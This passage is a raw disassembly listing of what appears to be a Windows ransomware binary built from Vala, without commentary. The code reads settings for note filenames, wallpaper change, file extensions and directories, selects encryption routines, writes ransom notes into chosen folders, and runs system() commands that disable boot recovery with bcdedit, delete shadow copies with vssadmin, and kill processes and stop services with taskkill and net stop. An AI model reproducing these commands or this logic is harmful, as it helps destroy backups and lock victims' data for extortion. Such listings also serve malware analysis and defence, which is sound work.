lea rdx, [0x14001b303]
mov rcx, rax
call sym.fprintf
cmp qword [rbp + 0xbf8], 0
je 0x140006033
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x14000605b
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
jmp 0x14000818e
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov r8d, 0
mov edx, 0x2e
mov rcx, rax
call sym.string_last_index_of_char
mov ebx, eax
mov rax, qword [rbp + 0x710]
mov r8d, 0
mov edx, 0x5f
mov rcx, rax
call sym.string_last_index_of_char
lea edx, [rax + 1]
mov rax, qword [rbp + 0x728]
mov r8d, ebx
mov rcx, rax
call sym.string_slice
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov qword [rbp + 0xbf0], rax
mov rax, qword [rbp + 0xbf0]
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov edx, 0xa
mov rcx, rax
call sym.uint64_parse
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x10]
mov edx, 8
mov rcx, rax
call sym._vala_array_dup1
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x6dc], 8
mov rax, qword [0x140021038]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [0x140021038], 0
mov rax, qword [rbp + 0x6e0]
mov qword [0x140021038], rax
mov eax, dword [rbp + 0x6dc]
mov dword [0x140021040], eax
mov eax, dword [0x140021040]
mov dword [0x140021078], eax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sym.settings_get_ChangeWallpaper
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6cc]
mov dword [rbp + 0x6c8], eax
cmp dword [rbp + 0x6c8], 0
je 0x1400062ba
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x6c0], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x6bc], eax
mov rax, qword [rbp + 0x6c0]
mov rax, qword [rax]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sym.settings_get_WallpaperName
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x698], rax
mov rdx, qword [rbp + 0x698]
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sym.program_ChangeWallpaper
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x690], rax
mov eax, dword [rbp + 0xbc4]
mov dword [rbp + 0x68c], eax
mov rax, qword [rbp + 0x690]
mov rax, qword [rax]
mov qword [rbp + 0x680], rax
lea rdx, [rbp + 0xc]
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sym.program_GetNoteBytes
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0xbe8], rax
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x674]
mov dword [rbp + 0x670], eax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x664], eax
mov eax, dword [rbp + 0x664]
mov dword [rbp + 0x660], eax
cmp dword [rbp + 0x660], 0
je 0x140006579
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
mov dword [rbp - 0xc], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x620], rax
lea rdx, [rbp - 4]
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sym.settings_get_FastSet
mov qword [rbp + 0x618], rax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x614], eax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x608], rax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x604], eax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x5f8], rax
lea rdx, [rbp - 8]
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sym.settings_get_IntermittentSet
mov qword [rbp + 0x5f0], rax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x5ec], eax
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x5e0], rax
mov eax, dword [rbp + 0x5ec]
mov dword [rbp + 0x5dc], eax
mov r9d, dword [rbp + 0x5dc]
mov r8, qword [rbp + 0x5e0]
mov edx, dword [rbp + 0x604]
mov rax, qword [rbp + 0x608]
lea rcx, [rbp - 0xc]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x5c8], rax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x5c4], eax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x5b8], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
call sym.settings_get_FullSet
mov qword [rbp + 0x5b0], rax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x5ac], eax
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x5a0], rax
mov eax, dword [rbp + 0x5ac]
mov dword [rbp + 0x59c], eax
mov edx, dword [rbp - 0xc]
mov r9d, dword [rbp + 0x59c]
mov r8, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5c8]
lea rcx, [rbp - 0x14]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x588], rax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x584], eax
mov ecx, dword [rbp - 0x14]
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x628]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov eax, dword [rbp + 0x584]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x588]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x588], 0
mov eax, dword [rbp + 0x5c4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x5c8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x5c8], 0
jmp 0x1400065f8
mov dword [rbp - 0x18], 0
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x650], rax
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sym.settings_get_NoneSet
mov qword [rbp + 0x648], rax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x644], eax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x638], rax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x634], eax
mov ecx, dword [rbp + 0x634]
mov rdx, qword [rbp + 0x638]
mov rax, qword [rbp + 0x658]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x578]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x574], eax
mov eax, dword [rbp + 0x574]
mov dword [rbp + 0x570], eax
cmp dword [rbp + 0x570], 0
je 0x140006696
mov rax, qword [0x140021058]
test rax, rax
je 0x14000664f
mov rdx, qword [0x140021058]
mov rax, qword [0x140021050]
mov rcx, rax
call rdx
mov qword [0x140021048], 0
mov qword [0x140021050], 0
mov qword [0x140021058], 0
lea rax, [sym.____lambda4__program_encrypt]
mov qword [0x140021048], rax
mov qword [0x140021050], 0
mov qword [0x140021058], 0
jmp 0x1400066fa
mov rax, qword [0x140021058]
test rax, rax
je 0x1400066b5
mov rdx, qword [0x140021058]
mov rax, qword [0x140021050]
mov rcx, rax
call rdx
mov qword [0x140021048], 0
mov qword [0x140021050], 0
mov qword [0x140021058], 0
lea rax, [sym.____lambda5__program_encrypt]
mov qword [0x140021048], rax
mov qword [0x140021050], 0
mov qword [0x140021058], 0
lea rax, str.cmd__c__bcdedit__set_current_recoveryenabled_no_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_default_recoveryenabled_no_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_current_bootstatuspolicy_ignoreallfailures_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_default_bootstatuspolicy_ignoreallfailures_
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x568]
mov rcx, rax
call sym.settings_get_DeleteSystemRestorePoints
mov dword [rbp + 0x564], eax
mov eax, dword [rbp + 0x564]
mov dword [rbp + 0x560], eax
cmp dword [rbp + 0x560], 0
je 0x14000677d
lea rax, str.cmd__c__vssadmin_Delete_Shadows__All__Quiet_
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sym.settings_get_StopProcesses
mov dword [rbp + 0x554], eax
mov eax, dword [rbp + 0x554]
mov dword [rbp + 0x550], eax
cmp dword [rbp + 0x550], 0
je 0x140006969
mov dword [rbp + 0xc34], 0
mov dword [rbp + 0xc34], 0
mov dword [rbp + 0xc30], 0
mov dword [rbp + 0xc30], 1
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x20], 0
cmp dword [rbp + 0xc30], 0
jne 0x14000680b
add dword [rbp + 0xc34], 1
mov eax, dword [rbp + 0xc34]
mov dword [rbp + 0x54c], eax
mov dword [rbp + 0xc30], 0
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x540], rax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp + 0x540]
mov rcx, rax
call sym.settings_get_ProcessesToStop
mov qword [rbp + 0x538], rax
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x534], eax
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x528], rax
mov eax, dword [rbp + 0x534]
mov dword [rbp + 0x524], eax
mov eax, dword [rbp + 0xc34]
cmp eax, dword [rbp + 0x524]
jge 0x140006968
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x518], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x518]
mov rcx, rax
call sym.settings_get_ProcessesToStop
mov qword [rbp + 0x510], rax
mov eax, dword [rbp - 0x20]
mov dword [rbp + 0x50c], eax
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x500], rax
mov eax, dword [rbp + 0x50c]
mov dword [rbp + 0x4fc], eax
mov eax, dword [rbp + 0xc34]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x500]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x4f0], rax
mov rax, qword [rbp + 0x4f0]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4e8]
mov r9d, 0
lea r8, [0x14001b9dd]
mov rdx, rax
lea rax, str.cmd__c__taskkill__F__IM
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x4d8]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x4d8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x4d8], 0
jmp 0x1400067e1
nop
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x4d0], rax
mov rax, qword [rbp + 0x4d0]
mov rcx, rax
call sym.settings_get_StopServices
mov dword [rbp + 0x4cc], eax
mov eax, dword [rbp + 0x4cc]
mov dword [rbp + 0x4c8], eax
cmp dword [rbp + 0x4c8], 0
je 0x140006b55
mov dword [rbp + 0xc2c], 0
mov dword [rbp + 0xc2c], 0
mov dword [rbp + 0xc28], 0
mov dword [rbp + 0xc28], 1
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
cmp dword [rbp + 0xc28], 0
jne 0x1400069f7
add dword [rbp + 0xc2c], 1
mov eax, dword [rbp + 0xc2c]
mov dword [rbp + 0x4c4], eax
mov dword [rbp + 0xc28], 0
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x4b8], rax
lea rdx, [rbp - 0x24]
mov rax, qword [rbp + 0x4b8]
mov rcx, rax
call sym.settings_get_ServicesToStop
mov qword [rbp + 0x4b0], rax
mov eax, dword [rbp - 0x24]
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x4b0]
mov qword [rbp + 0x4a0], rax
mov eax, dword [rbp + 0x4ac]
mov dword [rbp + 0x49c], eax
mov eax, dword [rbp + 0xc2c]
cmp eax, dword [rbp + 0x49c]
jge 0x140006b54
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x490], rax
lea rdx, [rbp - 0x28]
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sym.settings_get_ServicesToStop
mov qword [rbp + 0x488], rax
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x484], eax
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x478], rax
mov eax, dword [rbp + 0x484]
mov dword [rbp + 0x474], eax
mov eax, dword [rbp + 0xc2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x478]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x468]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov r9d, 0
lea r8, str.___y
mov rdx, rax
lea rax, str.cmd__c_net_stop__
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x450], rax
mov rax, qword [rbp + 0x450]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x450]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x450], 0
jmp 0x1400069cd
nop
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x448], rax
mov rax, qword [rbp + 0x448]
mov rcx, rax
call sym.settings_get_DropNoteInSpecificDirectories
mov dword [rbp + 0x444], eax
mov eax, dword [rbp + 0x444]
mov dword [rbp + 0x440], eax
cmp dword [rbp + 0x440], 0
je 0x14000720a
mov dword [rbp + 0xc24], 0
mov dword [rbp + 0xc24], 0
mov dword [rbp + 0xc20], 0
mov dword [rbp + 0xc20], 1
mov dword [rbp - 0x2c], 0
mov qword [rbp + 0x438], 0
mov dword [rbp - 0x30], 0
cmp dword [rbp + 0xc20], 0
jne 0x140006bee
add dword [rbp + 0xc24], 1
mov eax, dword [rbp + 0xc24]
mov dword [rbp + 0x434], eax
mov dword [rbp + 0xc20], 0
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x428], rax
lea rdx, [rbp - 0x2c]
mov rax, qword [rbp + 0x428]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x420], rax
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x41c], eax
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x410], rax
mov eax, dword [rbp + 0x41c]
mov dword [rbp + 0x40c], eax
mov eax, dword [rbp + 0xc24]
cmp eax, dword [rbp + 0x40c]
jge 0x140007209
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x400], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x400]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x3f8], rax
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0x3f4], eax
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x3e8], rax
mov eax, dword [rbp + 0x3f4]
mov dword [rbp + 0x3e4], eax
mov eax, dword [rbp + 0xc24]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3e8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x3d0], rax
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x3c8], rax
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3c0], rax
mov rdx, qword [rbp + 0x3c0]
mov rax, qword [rbp + 0x3d8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_build_filename]
call rax
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x438], rax
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x3b0], rax
mov rax, qword [rbp + 0x3b0]
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_file_test]
call rax
test eax, eax
jne 0x1400071e6
mov qword [rbp + 0x3a8], 0
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
lea rdx, [0x14001b2e8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_fopen]
call rax
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x390], rax
cmp qword [rbp + 0x390], 0
jne 0x140006fef
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x360]
mov r8d, 0
mov rdx, rax
lea rax, str.____Could_not_create
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x350], rax
call sym.error_type_quark
mov rdx, qword [rbp + 0x350]
mov r8, rdx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_error_new_literal]
call rax
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x350], 0
mov rax, qword [rbp + 0x340]
mov qword [rbp], rax
cmp qword [rbp + 0x3a8], 0
je 0x140006e9a
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x3a8], 0
mov rax, qword [rbp]
mov ebx, dword [rax]
call sym.error_type_quark
cmp ebx, eax
je 0x140007084
mov rax, qword [rbp + 0x438]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x438], 0
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbf0], 0
cmp qword [rbp + 0xbf8], 0
je 0x140006f2f
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x140006f57
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x971
lea r9, str.C:_msys64_home_poco_main_thread.vala.c
lea r8, [0x14001b2b8]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x14000818e
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0x380], rax
mov eax, dword [rbp + 0x674]
mov dword [rbp + 0x37c], eax
mov eax, dword [rbp + 0x37c]
movsxd rdx, eax
mov rcx, qword [rbp + 0x388]
mov rax, qword [rbp + 0x380]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
mov rcx, rax
call sym.fflush
cmp qword [rbp + 0x3a8], 0
je 0x140007096
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x3a8], 0
jmp 0x140007096
nop
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140007097
nop
mov rax, qword [rbp]
test rax, rax
je 0x1400071e6
mov rax, qword [rbp + 0x438]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x438], 0
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbf0], 0
cmp qword [rbp + 0xbf8], 0
je 0x140007126
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x14000714e
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x98a
lea r9, str.C:_msys64_home_poco_main_thread.vala.c
lea r8, [0x14001b070]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x14000818e
mov rax, qword [rbp + 0x438]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x438], 0
jmp 0x140006bb9
nop
mov qword [rbp + 0x338], 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_get_num_processors]
call rax
mov edx, eax
mov rax, rbp
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, edx
mov edx, 0
lea rax, [sym.____lambda6__gfunc]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_thread_pool_new]
call rax
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x338], rax
mov rax, qword [rbp]
test rax, rax
je 0x1400073a6
mov rax, qword [rbp]
mov ebx, dword [rax]
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_thread_error_quark]
call rax
cmp ebx, eax
je 0x140007db6
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbf0], 0
cmp qword [rbp + 0xbf8], 0
je 0x1400072e6
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x14000730e
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x9a5
lea r9, str.C:_msys64_home_poco_main_thread.vala.c
lea r8, [0x14001b2b8]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x14000818e
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov rcx, rax
call sym.settings_get_IncludeDirectories
mov dword [rbp + 0x324], eax
mov eax, dword [rbp + 0x324]
mov dword [rbp + 0x320], eax
cmp dword [rbp + 0x320], 0
je 0x140007575
mov dword [rbp + 0xc1c], 0
mov dword [rbp + 0xc1c], 0
mov dword [rbp + 0xc18], 0
mov dword [rbp + 0xc18], 1
mov dword [rbp - 0x34], 0
mov dword [rbp - 0x38], 0
cmp dword [rbp + 0xc18], 0
jne 0x140007434
add dword [rbp + 0xc1c], 1
mov eax, dword [rbp + 0xc1c]
mov dword [rbp + 0x1cc], eax
mov dword [rbp + 0xc18], 0
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x1c0], rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x1b8], rax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x1b4], eax
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1a8], rax
mov eax, dword [rbp + 0x1b4]
mov dword [rbp + 0x1a4], eax
mov eax, dword [rbp + 0xc1c]
cmp eax, dword [rbp + 0x1a4]
jge 0x140007d80
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x198], rax
lea rdx, [rbp - 0x38]
mov rax, qword [rbp + 0x198]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x190], rax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0x18c], eax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x180], rax
mov eax, dword [rbp + 0x18c]
